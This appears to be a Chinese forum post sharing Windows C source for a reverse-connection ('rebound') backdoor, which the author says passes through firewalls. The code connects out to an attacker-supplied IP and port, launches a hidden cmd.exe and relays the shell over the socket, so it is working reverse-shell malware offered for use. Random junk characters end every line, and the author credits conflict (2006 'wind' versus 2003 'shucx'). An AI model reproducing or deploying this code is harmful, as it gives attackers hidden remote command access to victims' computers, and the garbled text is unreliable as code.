这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Tp46K\}Uf
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/* ============================== &F-
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Rebound port in Windows NT QPX&P{!g
By wind,2006/7 cwuzi;f
===============================*/ >``sM=W at
#include BG|m5f
#include :FT x#cZ
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#pragma comment(lib,"wsock32.lib") QyghNImp
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void OutputShell(); b5Q|$E
SOCKET sClient; hrNB"W|?x
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; GYZP?E p*
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void main(int argc,char **argv) 0$A^ .M;
{ .n n&K}h
WSADATA stWsaData; gY'-C
int nRet; BLN|QaZ
SOCKADDR_IN stSaiClient,stSaiServer; 3daI_Nx>
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if(argc != 3) arIEd VfNa
{ Um}f7^fp^l
printf("Useage:\n\rRebound DestIP DestPort\n"); 1=Z!ZY}}e
return; 3Ccy %;
} 7}:+Yx
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WSAStartup(MAKEWORD(2,2),&stWsaData); Brtsig,4
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NnH]c+
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stSaiClient.sin_family = AF_INET; VV;%q3}:
stSaiClient.sin_port = htons(0); _ amP:h
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {J1iheuS}
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O1D|T"@
{ rFUR9O.{E
printf("Bind Socket Failed!\n"); JM1O7I
return; bwM?DY
} :8K}e]!c1
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stSaiServer.sin_family = AF_INET; b)@D@K"5
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ph}%Ay$
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2x>7>;>
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +h@.P B^`~
{ ~-<MoCm!
printf("Connect Error!"); 6Df*wi!jI
return; ,<N{Y[n]e
} HfZ ^ED"}
OutputShell(); ;L,i">_%u[
} Xp] jF^5
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void OutputShell() u^G Y7gah
{ )=#e*1!b
char szBuff[1024]; Esu{c9,
SECURITY_ATTRIBUTES stSecurityAttributes; tLi91)oG
OSVERSIONINFO stOsversionInfo; g<@Q)p*ow
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; lb$_$+@Vr
STARTUPINFO stStartupInfo; eTFep^[
char *szShell; &|j0GP&
PROCESS_INFORMATION stProcessInformation; CT5s`v!s
unsigned long lBytesRead; wVqp')e
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [UXN=
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); xP_/5N=f
stSecurityAttributes.lpSecurityDescriptor = 0; *Y?oAVkz
stSecurityAttributes.bInheritHandle = TRUE; GeDI\-
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?JG^GD7D
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); k 3H0$1
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =&6sU{j*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .%y'q!?
stStartupInfo.wShowWindow = SW_HIDE; IITUM)
stStartupInfo.hStdInput = hReadPipe; 41R6V>e@9J
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?"*JV1 9
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GetVersionEx(&stOsversionInfo); 5x%Blkx
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switch(stOsversionInfo.dwPlatformId) K-~g IlbQ`
{ JO*/UC>"
case 1: 7nNNc[d*=
szShell = "command.com"; CIz0Gjtx6m
break; e
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default: m";..V
szShell = "cmd.exe"; 9Vqy<7i1
break; >s 6ye
} ^D5Jqh)
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); DI8<0.L
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send(sClient,szMsg,77,0); e@qH!.g)
while(1) SkMFJ?J/
{ 4w~%MZA^
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); p J_+n:_{
if(lBytesRead) E_En"r)y
{ S
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Pw| h`[h
send(sClient,szBuff,lBytesRead,0); nj0sh"~+
}
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else $,2T~1tE
{ Bcarx<P-p
lBytesRead=recv(sClient,szBuff,1024,0); 4xEw2F
if(lBytesRead<=0) break; mE`qA*=?
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Vi: ^bv
} W^H3 =hZ
} .=9WY_@SZ
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return; mM72>1~L*
}